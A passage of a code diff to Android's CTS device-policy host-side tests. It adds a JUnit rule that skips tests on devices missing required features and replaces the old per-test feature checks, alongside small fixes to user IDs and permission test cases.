@@ -128,13 +122,13 @@
     @Test
     public void testIsProvisioningAllowed() throws Exception {
         // Must install the apk since the test runs in the DO apk.
-        installAppAsUser(DEVICE_OWNER_APK, mPrimaryUserId);
+        installAppAsUser(DEVICE_OWNER_APK, mDeviceOwnerUserId);
         try {
             // When CTS runs, setupwizard is complete. Expects it has to return false as DO can
             // only be provisioned before setupwizard is completed.
 
             runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".PreDeviceOwnerTest",
-                    "testIsProvisioningAllowedFalse", /* deviceOwnerUserId */ 0);
+                    "testIsProvisioningAllowedFalse", mDeviceOwnerUserId);
         } finally {
             getDevice().uninstallPackage(DEVICE_OWNER_PKG);
         }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomManagedProfileTest.java
index 40b3dd0..c478dd6 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomManagedProfileTest.java
@@ -15,36 +15,35 @@
  */
 package com.android.cts.devicepolicy;
 
+import static com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.FEATURE_MANAGED_USERS;
+
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.DoesNotRequireFeature;
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.RequiresAdditionalFeatures;
 import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil.CLog;
 
 import org.junit.Test;
 
+// We need multi user to be supported in order to create a profile of the user owner.
+@RequiresAdditionalFeatures({FEATURE_MANAGED_USERS})
 public class CustomManagedProfileTest extends BaseDevicePolicyTest {
 
     private static final String MANAGED_PROFILE_PKG = "com.android.cts.managedprofile";
     private static final String MANAGED_PROFILE_APK = "CtsManagedProfileApp.apk";
 
-    @Override
-    public void setUp() throws Exception {
-        super.setUp();
-
-        // We need multi user to be supported in order to create a profile of the user owner.
-        mHasFeature = mHasFeature && hasDeviceFeature("android.software.managed_users");
-    }
-
+    @DoesNotRequireFeature
     @Test
     public void testIsProvisioningAllowed() throws Exception {
-        final int primaryUserId = getPrimaryUser();
         // Must install the apk since the test runs in the ManagedProfile apk.
         installAppAsUser(MANAGED_PROFILE_APK, mPrimaryUserId);
         try {
-            if (mHasFeature) {
+            if (mFeaturesCheckerRule.hasRequiredFeatures()) {
                 // Since we assume, in ManagedProfileTest, provisioning has to be successful,
                 // DevicePolicyManager.isProvisioningAllowed must return true
-                assertIsProvisioningAllowed(true, primaryUserId);
+                assertIsProvisioningAllowed(true, mPrimaryUserId);
             } else {
                 // Test the case when feature flag is off
-                assertIsProvisioningAllowed(false, primaryUserId);
+                assertIsProvisioningAllowed(false, mPrimaryUserId);
             }
         } finally {
             getDevice().uninstallPackage(MANAGED_PROFILE_PKG);
@@ -55,6 +54,7 @@
             throws DeviceNotAvailableException {
         final String testName = expected ? "testIsProvisioningAllowedTrue"
                 : "testIsProvisioningAllowedFalse";
+        CLog.d("Running test %s on user %d", testName, userId);
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PreManagedProfileTest", testName, userId);
     }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminFeaturesCheckerRule.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminFeaturesCheckerRule.java
new file mode 100644
index 0000000..12d2556
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminFeaturesCheckerRule.java
@@ -0,0 +1,165 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy;
+
+import static org.junit.Assume.assumeTrue;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import org.junit.AssumptionViolatedException;
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Custom rule used to skip tests when the device doesn't have {@value #FEATURE_DEVICE_ADMIN} and/or
+ * additional features (as defined the {@link RequiresAdditionalFeatures} and
+ * {@link DoesNotRequireFeature} annotations.
+ */
+public final class DeviceAdminFeaturesCheckerRule implements TestRule {
+
+    public static final String FEATURE_DEVICE_ADMIN = "android.software.device_admin";
+    public static final String FEATURE_MANAGED_USERS = "android.software.managed_users";
+
+    private final BaseDevicePolicyTest mTest;
+
+    private boolean mHasRequiredFeatures;
+
+    public DeviceAdminFeaturesCheckerRule(BaseDevicePolicyTest test) {
+        mTest = test;
+    }
+
+    @Override
+    public Statement apply(final Statement base, Description description) {
+        return new Statement() {
+            @Override
+            public void evaluate() throws Throwable {
+                ITestDevice testDevice = mTest.getDevice();
+                assumeTrue("Test device is not available", testDevice != null);
+
+                int apiLevel = testDevice.getApiLevel();
+                assumeTrue("Device API level is " + apiLevel + ", minimum required is 21",
+                        apiLevel >= 21); // requires Build.VERSION_CODES.L
+
+                String testName = description.getDisplayName();
+
+                if (description.getAnnotation(TemporaryIgnoreOnHeadlessSystemUserMode.class) != null
+                        && BaseDevicePolicyTest.isHeadlessSystemUserMode(testDevice)) {
+                    throw new AssumptionViolatedException(
+                            "TEMPORARILY skipping " + testName + " on headless system user mode");
+                }
+
+                List<String> requiredFeatures = new ArrayList<>();
+                requiredFeatures.add(FEATURE_DEVICE_ADMIN);
+
+                // Method annotations
+                addAdditionalFeatures(requiredFeatures, description
+                        .getAnnotation(RequiresAdditionalFeatures.class));
+
+                // Class annotations
+                Class<?> clazz = description.getTestClass();
+                while (clazz != Object.class) {
+                    addAdditionalFeatures(requiredFeatures,
+                            clazz.getAnnotation(RequiresAdditionalFeatures.class));
+                    clazz = clazz.getSuperclass();
+                }
+
+                CLog.v("Required features for test %s: %s", testName, requiredFeatures);
+
+                List<String> missingFeatures = new ArrayList<>(requiredFeatures.size());
+                for (String requiredFeature : requiredFeatures) {
+                    if (!testDevice.hasFeature(requiredFeature)) {
+                        missingFeatures.add(requiredFeature);
+                    }
+                }
+
+                mHasRequiredFeatures = missingFeatures.isEmpty();
+
+                if (!mHasRequiredFeatures) {
+                    DoesNotRequireFeature bypass = description
+                            .getAnnotation(DoesNotRequireFeature.class);
+                    if (bypass != null) {
+                        CLog.i("Device is missing features (%s), but running test %s anyways "
+                                + "because of %s annotation", missingFeatures, testName, bypass);
+                    } else {
+                        throw new AssumptionViolatedException("Device does not have the following "
+                                + "features: " + missingFeatures);
+                    }
+                }
+
+                // Finally, give the test a chance to be skipped
+                mTest.assumeTestEnabled();
+
+                base.evaluate();
+            }
+
+            private void addAdditionalFeatures(List<String> requiredFeatures,
+                    RequiresAdditionalFeatures annotation) {
+                if (annotation == null) return;
+
+                for (String additionalFeature : annotation.value()) {
+                    requiredFeatures.add(additionalFeature);
+                }
+            }
+        };
+    }
+
+    /**
+     * Checks if the device has the required features for this test.
+     */
+    public boolean hasRequiredFeatures() {
+        return mHasRequiredFeatures;
+    }
+
+    /**
+     * Used to annotate a test method that should run if when the device doesn't have the features
+     * required by the test class.
+     */
+    @Retention(RetentionPolicy.RUNTIME)
+    @Target({ElementType.METHOD})
+    public static @interface DoesNotRequireFeature {
+    }
+
+    /**
+     * Sets additional required features for a given test class or method.
+     */
+    @Retention(RetentionPolicy.RUNTIME)
+    @Target({ElementType.TYPE, ElementType.METHOD})
+    public static @interface RequiresAdditionalFeatures {
+        String[] value();
+    }
+
+    /**
+     * TODO(b/132260693): STOPSHIP - temporary annotation used on tests that haven't been fixed to
+     * run on headless system user yet
+     *
+     * <p><b>NOTE:</b> if a test shouldn't run on headless system user mode in the long term, we'll
+     * need a separate {@code IgnoreOnHeadlessSystemUserMode} annotation
+     */
+    @Retention(RetentionPolicy.RUNTIME)
+    @Target({ElementType.METHOD})
+    public static @interface TemporaryIgnoreOnHeadlessSystemUserMode {
+    }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi23.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi23.java
index 7ab8265..68f79a6 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi23.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi23.java
@@ -34,10 +34,6 @@
     @FlakyTest
     @Test
     public void testAdminWithNoProtection() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         installAppAsUser(getDeviceAdminApkFileName(), mUserId);
         try {
             setDeviceAdmin(getUnprotectedAdminReceiverComponent(), mUserId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi24.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi24.java
index fccc586..aa1d9d2 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi24.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi24.java
@@ -31,10 +31,6 @@
      */
     @Test
     public void testAdminWithNoProtection() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         installAppAsUser(getDeviceAdminApkFileName(), mUserId);
         setDeviceAdminExpectingFailure(getUnprotectedAdminReceiverComponent(), mUserId,
                 "must be protected with android.permission.BIND_DEVICE_ADMIN");
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi29.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi29.java
index 08826af..7a7aa7d 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi29.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi29.java
@@ -32,9 +32,6 @@
     @Override
     @Test
     public void testRunDeviceAdminTest() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runTests(getDeviceAdminApkPackage(), "DeviceAdminWithEnterprisePoliciesBlockedTest");
     }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminServiceDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminServiceDeviceOwnerTest.java
index a33c0ef..216238f 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminServiceDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminServiceDeviceOwnerTest.java
@@ -22,11 +22,6 @@
     }
 
     @Override
-    protected boolean isTestEnabled() {
-        return mHasFeature;
-    }
-
-    @Override
     protected void setAsOwnerOrFail(String component) throws Exception {
         setDeviceOwnerOrFail(component, getUserId());
     }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminServiceProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminServiceProfileOwnerTest.java
index 3b678dd..55cd092 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminServiceProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminServiceProfileOwnerTest.java
@@ -31,19 +31,10 @@
     @Override
     public void setUp() throws Exception {
         super.setUp();
-        if (isTestEnabled()) {
-            mUserId = createUser();
-        }
-    }
 
-    @Override
-    public void tearDown() throws Exception {
-        super.tearDown();
-    }
+        assumeSupportsMultiUser();
 
-    @Override
-    protected boolean isTestEnabled() {
-        return mHasFeature && mSupportsMultiUser;
+        mUserId = createUser();
     }
 
     @Override
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java
index 89788c7..911ae72 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java
@@ -2,6 +2,8 @@
 
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import static org.junit.Assert.fail;
 
 import android.stats.devicepolicy.EventId;
@@ -11,8 +13,6 @@
 
 import org.junit.Test;
 
-import static com.google.common.truth.Truth.assertThat;
-
 public abstract class DeviceAndProfileOwnerHostSideTransferTest extends BaseDevicePolicyTest {
 
     protected static final String TRANSFER_OWNER_OUTGOING_PKG =
@@ -41,10 +41,6 @@
 
     @Test
     public void testTransferOwnership() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         final boolean hasManagedProfile = (mUserId != mPrimaryUserId);
         final String expectedManagementType = hasManagedProfile ? "profile-owner" : "device-owner";
         assertMetricsLogged(getDevice(), () -> {
@@ -58,9 +54,6 @@
 
     @Test
     public void testTransferSameAdmin() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(TRANSFER_OWNER_OUTGOING_PKG,
                 mOutgoingTestClassName,
                 "testTransferSameAdmin", mUserId);
@@ -68,9 +61,6 @@
 
     @Test
     public void testTransferInvalidTarget() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(INVALID_TARGET_APK, mUserId);
         runDeviceTestsAsUser(TRANSFER_OWNER_OUTGOING_PKG,
                 mOutgoingTestClassName,
@@ -79,9 +69,6 @@
 
     @Test
     public void testTransferPolicies() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(TRANSFER_OWNER_OUTGOING_PKG,
                 mOutgoingTestClassName,
                 "testTransferWithPoliciesOutgoing", mUserId);
@@ -92,9 +79,6 @@
 
     @Test
     public void testTransferOwnershipChangedBroadcast() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(TRANSFER_OWNER_OUTGOING_PKG,
                 mOutgoingTestClassName,
                 "testTransferOwnershipChangedBroadcast", mUserId);
@@ -102,9 +86,6 @@
 
     @Test
     public void testTransferCompleteCallback() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(TRANSFER_OWNER_OUTGOING_PKG,
                 mOutgoingTestClassName,
                 "testTransferOwnership", mUserId);
@@ -125,9 +106,6 @@
 
     @Test
     public void testTransferOwnershipNoMetadata() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(TRANSFER_OWNER_OUTGOING_PKG,
                 mOutgoingTestClassName,
                 "testTransferOwnershipNoMetadata", mUserId);
@@ -135,9 +113,6 @@
 
     @Test
     public void testIsTransferBundlePersisted() throws DeviceNotAvailableException {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(TRANSFER_OWNER_OUTGOING_PKG,
                 mOutgoingTestClassName,
                 "testTransferOwnershipBundleSaved", mUserId);
@@ -149,9 +124,6 @@
     @Test
     public void testGetTransferOwnershipBundleOnlyCalledFromAdmin()
             throws DeviceNotAvailableException {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(TRANSFER_OWNER_OUTGOING_PKG,
                 mOutgoingTestClassName,
                 "testGetTransferOwnershipBundleOnlyCalledFromAdmin", mUserId);
@@ -159,9 +131,6 @@
 
     @Test
     public void testBundleEmptyAfterTransferWithNullBundle() throws DeviceNotAvailableException {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(TRANSFER_OWNER_OUTGOING_PKG,
                 mOutgoingTestClassName,
                 "testTransferOwnershipNullBundle", mUserId);
@@ -172,9 +141,6 @@
 
     @Test
     public void testIsBundleNullNoTransfer() throws DeviceNotAvailableException {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(TRANSFER_OWNER_OUTGOING_PKG,
                 mOutgoingTestClassName,
                 "testIsBundleNullNoTransfer", mUserId);
@@ -201,9 +167,6 @@
 
     @Test
     public void testTargetDeviceAdminServiceBound() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(TRANSFER_OWNER_OUTGOING_PKG,
             mOutgoingTestClassName,
             "testTransferOwnership", mUserId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index d38a86f..a5b19c2 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -17,11 +17,11 @@
 package com.android.cts.devicepolicy;
 
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
-import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
 
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
 
 import android.platform.test.annotations.FlakyTest;
 import android.platform.test.annotations.LargeTest;
@@ -37,6 +37,7 @@
 
 import com.google.common.collect.ImmutableMap;
 
+import org.junit.Ignore;
 import org.junit.Test;
 
 import java.io.File;
@@ -89,7 +90,7 @@
     public static final String CERT_INSTALLER_APK = "CtsCertInstallerApp.apk";
 
     protected static final String DELEGATE_APP_PKG = "com.android.cts.delegate";
-    private static final String DELEGATE_APP_APK = "CtsDelegateApp.apk";
+    protected static final String DELEGATE_APP_APK = "CtsDelegateApp.apk";
     private static final String DELEGATION_CERT_INSTALL = "delegation-cert-install";
     private static final String DELEGATION_APP_RESTRICTIONS = "delegation-app-restrictions";
     private static final String DELEGATION_BLOCK_UNINSTALL = "delegation-block-uninstall";
@@ -147,6 +148,10 @@
             = "com.android.cts.devicepolicy.meteredtestapp";
     private static final String METERED_DATA_APP_APK = "CtsMeteredDataTestApp.apk";
 
+    // For testing key pair grants since they are per-uid
+    private static final String SHARED_UID_APP1_APK = "SharedUidApp1.apk";
+    private static final String SHARED_UID_APP2_APK = "SharedUidApp2.apk";
+
     private static final String ENABLED_NOTIFICATION_POLICY_ACCESS_PACKAGES
             = "enabled_notification_policy_access_packages";
 
@@ -190,47 +195,40 @@
 
     @Override
     public void tearDown() throws Exception {
-        if (mHasFeature) {
-            getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
-            getDevice().uninstallPackage(PERMISSIONS_APP_PKG);
-            getDevice().uninstallPackage(SIMPLE_PRE_M_APP_PKG);
-            getDevice().uninstallPackage(APP_RESTRICTIONS_TARGET_APP_PKG);
-            getDevice().uninstallPackage(CERT_INSTALLER_PKG);
-            getDevice().uninstallPackage(DELEGATE_APP_PKG);
-            getDevice().uninstallPackage(ACCOUNT_MANAGEMENT_PKG);
-            getDevice().uninstallPackage(VPN_APP_PKG);
-            getDevice().uninstallPackage(VPN_APP_API23_APK);
-            getDevice().uninstallPackage(VPN_APP_API24_APK);
-            getDevice().uninstallPackage(VPN_APP_NOT_ALWAYS_ON_APK);
-            getDevice().uninstallPackage(INTENT_RECEIVER_PKG);
-            getDevice().uninstallPackage(INTENT_SENDER_PKG);
-            getDevice().uninstallPackage(CUSTOMIZATION_APP_PKG);
-            getDevice().uninstallPackage(AUTOFILL_APP_PKG);
-            getDevice().uninstallPackage(CONTENT_CAPTURE_SERVICE_PKG);
-            getDevice().uninstallPackage(CONTENT_CAPTURE_APP_PKG);
-            getDevice().uninstallPackage(PRINTING_APP_PKG);
-            getDevice().uninstallPackage(METERED_DATA_APP_PKG);
-            getDevice().uninstallPackage(TEST_APP_PKG);
+        getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
+        getDevice().uninstallPackage(PERMISSIONS_APP_PKG);
+        getDevice().uninstallPackage(SIMPLE_PRE_M_APP_PKG);
+        getDevice().uninstallPackage(APP_RESTRICTIONS_TARGET_APP_PKG);
+        getDevice().uninstallPackage(CERT_INSTALLER_PKG);
+        getDevice().uninstallPackage(DELEGATE_APP_PKG);
+        getDevice().uninstallPackage(ACCOUNT_MANAGEMENT_PKG);
+        getDevice().uninstallPackage(VPN_APP_PKG);
+        getDevice().uninstallPackage(VPN_APP_API23_APK);
+        getDevice().uninstallPackage(VPN_APP_API24_APK);
+        getDevice().uninstallPackage(VPN_APP_NOT_ALWAYS_ON_APK);
+        getDevice().uninstallPackage(INTENT_RECEIVER_PKG);
+        getDevice().uninstallPackage(INTENT_SENDER_PKG);
+        getDevice().uninstallPackage(CUSTOMIZATION_APP_PKG);
+        getDevice().uninstallPackage(AUTOFILL_APP_PKG);
+        getDevice().uninstallPackage(CONTENT_CAPTURE_SERVICE_PKG);
+        getDevice().uninstallPackage(CONTENT_CAPTURE_APP_PKG);
+        getDevice().uninstallPackage(PRINTING_APP_PKG);
+        getDevice().uninstallPackage(METERED_DATA_APP_PKG);
+        getDevice().uninstallPackage(TEST_APP_PKG);
 
-            // Press the HOME key to close any alart dialog that may be shown.
-            getDevice().executeShellCommand("input keyevent 3");
-        }
+        // Press the HOME key to close any alart dialog that may be shown.
+        getDevice().executeShellCommand("input keyevent 3");
+
         super.tearDown();
     }
 
     @Test
     public void testCaCertManagement() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceTestClass(".CaCertManagementTest");
     }
 
     @Test
     public void testInstallCaCertLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(".CaCertManagementTest", "testCanInstallAndUninstallACaCert");
         }, new DevicePolicyEventWrapper.Builder(EventId.INSTALL_CA_CERT_VALUE)
@@ -245,9 +243,6 @@
 
     @Test
     public void testApplicationRestrictionIsRestricted() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(DELEGATE_APP_APK, mUserId);
         runDeviceTestsAsUser(DELEGATE_APP_PKG, ".AppRestrictionsIsCallerDelegateHelper",
             "testAssertCallerIsNotApplicationRestrictionsManagingPackage", mUserId);
@@ -259,10 +254,6 @@
 
     @Test
     public void testApplicationRestrictions() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         installAppAsUser(DELEGATE_APP_APK, mUserId);
         installAppAsUser(APP_RESTRICTIONS_TARGET_APP_APK, mUserId);
 
@@ -296,15 +287,13 @@
             // The DPC should still be able to manage app restrictions normally.
             executeDeviceTestClass(".ApplicationRestrictionsTest");
 
-            if (isStatsdEnabled(getDevice())) {
-                assertMetricsLogged(getDevice(), () -> {
-                    executeDeviceTestMethod(".ApplicationRestrictionsTest",
-                            "testSetApplicationRestrictions");
-                }, new DevicePolicyEventWrapper.Builder(EventId.SET_APPLICATION_RESTRICTIONS_VALUE)
-                        .setAdminPackageName(DEVICE_ADMIN_PKG)
-                        .setStrings(APP_RESTRICTIONS_TARGET_APP_PKG)
-                        .build());
-            }
+            assertMetricsLogged(getDevice(), () -> {
+                executeDeviceTestMethod(".ApplicationRestrictionsTest",
+                        "testSetApplicationRestrictions");
+            }, new DevicePolicyEventWrapper.Builder(EventId.SET_APPLICATION_RESTRICTIONS_VALUE)
+                    .setAdminPackageName(DEVICE_ADMIN_PKG)
+                    .setStrings(APP_RESTRICTIONS_TARGET_APP_PKG)
+                    .build());
         } finally {
             changeApplicationRestrictionsManagingPackage(null);
         }
@@ -381,10 +370,6 @@
      */
     @Test
     public void testDelegation() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         // Install relevant apps.
         installAppAsUser(DELEGATE_APP_APK, mUserId);
         installAppAsUser(TEST_APP_APK, mUserId);
@@ -417,10 +402,6 @@
 
     @Test
     public void testDelegationCertSelection() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         installAppAsUser(CERT_INSTALLER_APK, mUserId);
         setDelegatedScopes(CERT_INSTALLER_PKG, Arrays.asList(
                 DELEGATION_CERT_INSTALL, DELEGATION_CERT_SELECTION));
@@ -435,23 +416,38 @@
 
     @Test
     public void testPermissionGrant() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppPermissionAppAsUser();
-        executeDeviceTestMethod(".PermissionsTest", "testPermissionGrantState");
+        executeDeviceTestMethod(".PermissionsTest",
+                "testPermissionGrantStateDenied_permissionRemainsDenied");
+        executeDeviceTestMethod(".PermissionsTest",
+                "testPermissionGrantStateGranted_permissionRemainsGranted");
     }
 
     @Test
     public void testPermissionGrant_developmentPermission() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppPermissionAppAsUser();
         executeDeviceTestMethod(
                 ".PermissionsTest", "testPermissionGrantState_developmentPermission");
     }
 
+    @Test
+    public void testGrantOfSensorsRelatedPermissions() throws Exception {
+        installAppPermissionAppAsUser();
+        executeDeviceTestMethod(".PermissionsTest", "testSensorsRelatedPermissionsCannotBeGranted");
+    }
+
+    @Test public void testDenyOfSensorsRelatedPermissions() throws Exception {
+        installAppPermissionAppAsUser();
+        executeDeviceTestMethod(".PermissionsTest", "testSensorsRelatedPermissionsCanBeDenied");
+    }
+
+    @Test
+    public void testSensorsRelatedPermissionsNotGrantedViaPolicy() throws Exception {
+        installAppPermissionAppAsUser();
+        executeDeviceTestMethod(".PermissionsTest",
+                "testSensorsRelatedPermissionsNotGrantedViaPolicy");
+    }
+
     /**
      * Require a device for tests that use the network stack. Headless Androids running in
      * data centres might need their network rules un-tampered-with in order to keep the ADB / VNC
@@ -463,9 +459,6 @@
     @RequiresDevice
     @Test
     public void testAlwaysOnVpn() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(VPN_APP_APK, mUserId);
         executeDeviceTestClassNoRestrictBackground(".AlwaysOnVpnTest");
     }
@@ -473,10 +466,6 @@
     @RequiresDevice
     @Test
     public void testAlwaysOnVpnLockDown() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         installAppAsUser(VPN_APP_APK, mUserId);
         try {
             executeDeviceTestMethod(".AlwaysOnVpnMultiStageTest", "testAlwaysOnSet");
@@ -490,10 +479,6 @@
     @RequiresDevice
     @Test
     public void testAlwaysOnVpnAcrossReboot() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         try {
             installAppAsUser(VPN_APP_APK, mUserId);
             waitForBroadcastIdle();
@@ -510,10 +495,6 @@
     @RequiresDevice
     @Test
     public void testAlwaysOnVpnPackageUninstalled() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         installAppAsUser(VPN_APP_APK, mUserId);
         try {
             executeDeviceTestMethod(".AlwaysOnVpnMultiStageTest", "testAlwaysOnSet");
@@ -528,10 +509,6 @@
     @RequiresDevice
     @Test
     public void testAlwaysOnVpnUnsupportedPackage() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         try {
             // Target SDK = 23: unsupported
             installAppAsUser(VPN_APP_API23_APK, mUserId);
@@ -553,10 +530,6 @@
     @RequiresDevice
     @Test
     public void testAlwaysOnVpnUnsupportedPackageReplaced() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         try {
             // Target SDK = 24: supported
             executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testAssertNoAlwaysOnVpn");
@@ -575,9 +548,6 @@
     @RequiresDevice
     @Test
     public void testAlwaysOnVpnPackageLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         // Will be uninstalled in tearDown().
         installAppAsUser(VPN_APP_APK, mUserId);
         assertMetricsLogged(getDevice(), () -> {
@@ -592,40 +562,35 @@
 
     @Test
     public void testPermissionPolicy() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppPermissionAppAsUser();
-        executeDeviceTestMethod(".PermissionsTest", "testPermissionPolicy");
+        executeDeviceTestMethod(".PermissionsTest",
+                "testPermissionPolicyAutoDeny_permissionLocked");
+        executeDeviceTestMethod(".PermissionsTest",
+                "testPermissionPolicyAutoGrant_permissionLocked");
     }
 
     @Test
     public void testAutoGrantMultiplePermissionsInGroup() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppPermissionAppAsUser();
-        executeDeviceTestMethod(".PermissionsTest", "testAutoGrantMultiplePermissionsInGroup");
+        executeDeviceTestMethod(".PermissionsTest",
+                "testPermissionPolicyAutoGrant_multiplePermissionsInGroup");
     }
 
     @Test
     public void testPermissionMixedPolicies() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppPermissionAppAsUser();
-        executeDeviceTestMethod(".PermissionsTest", "testPermissionMixedPolicies");
+        executeDeviceTestMethod(".PermissionsTest",
+                "testPermissionGrantStateDenied_mixedPolicies");
+        executeDeviceTestMethod(".PermissionsTest",
+                "testPermissionGrantStateGranted_mixedPolicies");
     }
 
     @Test
     public void testPermissionGrantOfDisallowedPermissionWhileOtherPermIsGranted()
             throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
